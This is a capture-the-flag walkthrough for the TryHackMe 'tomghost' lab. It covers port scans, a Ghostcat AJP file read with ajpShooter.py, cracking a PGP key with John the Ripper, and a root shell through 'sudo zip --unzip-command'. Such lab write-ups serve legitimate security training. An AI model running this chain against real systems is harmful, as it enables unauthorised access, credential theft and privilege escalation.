TryHackMe CTF: tomghost (Easy)
URL: https://tryhackme.com/room/tomghost Easy
PHASE 1: Reconnaissance
Description of the room:
Identify recent vulnerabilities to try exploit the system or read files that you should not have access to.
PHASE 2: Scanning & Enumeration
Running: nmap
Ran the following:
nmap -sC -sV x.x.x.x
Interesting ports found to be open:
PORT STATE SERVICE REASON
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/9.0.30
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Also see: nmap.log
Running: gobuster
Ran the following:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://x.x.x.x
Interesting folders found on :8080
:
/docs (Status: 302) [Size: 0] [--> /docs/]
/examples (Status: 302) [Size: 0] [--> /examples/]
/manager (Status: 302) [Size: 0] [--> /manager/]
Interesting folders found on :8009
:
This one is odd. In a browser, it says:
This page isn’t working
10.10.58.18 didn’t send any data.
ERR_EMPTY_RESPONSE
Which seems like there is a web server there, but it just didn’t respond with anything. However, over http
and https
, gobuster
couldn’t connect to the web server:
Error: error on running gobuster: unable to connect to http://10.10.58.18:8009/: Get "http://10.10.58.18:8009/": EOF
Also see: gobuster-8080.log / gobuster-8009.log
Running: nikto
Ran the following:
nikto -h x.x.x.x -p 8080
Not much of anything interesting info found on :8080
:
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS .
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104
+ /manager/manager-howto.html: Tomcat documentation found. See: CWE-552
+ /manager/html: Default Tomcat Manager / Host Manager interface found.
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found.
+ /manager/status: Default Tomcat Server Status interface found.
+ /host-manager/status: Default Tomcat Server Status interface found.
+ 8074 requests: 0 error(s) and 13 item(s) reported on remote host
Interesting info found on :8009
:
Similar situation with gobuster
, Nikto couldn’t connect.
- Nikto v2.5.0
---------------------------------------------------------------------------
---------------------------------------------------------------------------
+ 0 host(s) tested
Also see: nikto-8080.log / nikto-8009.log
PHASE 3: Gaining Access
I consulted this writeup which explains that “Ghostcat” (the name of the room) is the name of a vulnerability in Apache Jserv Protocol (AJP) that is running on port 8009.
Unprivileged Access
By using the ajpShooter.py
exploit from here, we can run a command line like this:
python3 ajpShooter.py http://10.10.58.18:8080/demo 8009 /WEB-INF/web.xml read
That then shows you a plausible username:password combination. When you try that combination over SSH, you can get in with unprivileged access.
Note: Looking around there is a
merlin
folder until/home/
with a readable folder structure. Not writable though. Also note that not much came up in linpeas either.
Privilege Escalation
This is somewhat tedious to put together. The kill-chain is:
- Download the
credential.pgp
andtryhackme.asc
to your local workstation (ex: runpython3 -m http.server
on the target, to serve those files; retrieve them with a browser) - Convert The
tryhackme.asc
file is a PGP private key. Rungpg2john ./tryhackme.asc > ./tryhackme.asc.hash
to get it into John the Ripper format. - Run John the Ripper with the RockYou wordlist to crack the password for that private key (ex: run
john --wordlist=/opt/share/wordlist/rockyou.txt ./tryhackme.asc.hash
) - Import that password into PGP with:
gpg --import ./tryhackme.asc
- it will prompt you for a password. - Decrypt the
credential.pgp
file withgpg --decrypt ./credential.pgp
- ir will prompt you for that same password you got from John the Ripper. - SSH as
merlin
Next, that credential that you just decrypted, is formerlin
. So, SSH in now asmerlin
. - Check
sudo
Asmerlin
, if we runsudo -l
to see what we can do as sudo, we see that we can run/usr/bin/zip
. This is notable because thezip
program allows you to pass it a--unzip-command "<command to run>"
. So, if we’re running asroot
viasudo
at that time, and if the--unzip-command
opens a shell, we should get a root shell.
Putting that all together, we can finally run something like this, logged in as merlin
:
sudo zip archive ./user.txt -T --unzip-command="sh -c /bin/bash"
We are now running as root and can get our final flag from the /root/
folder.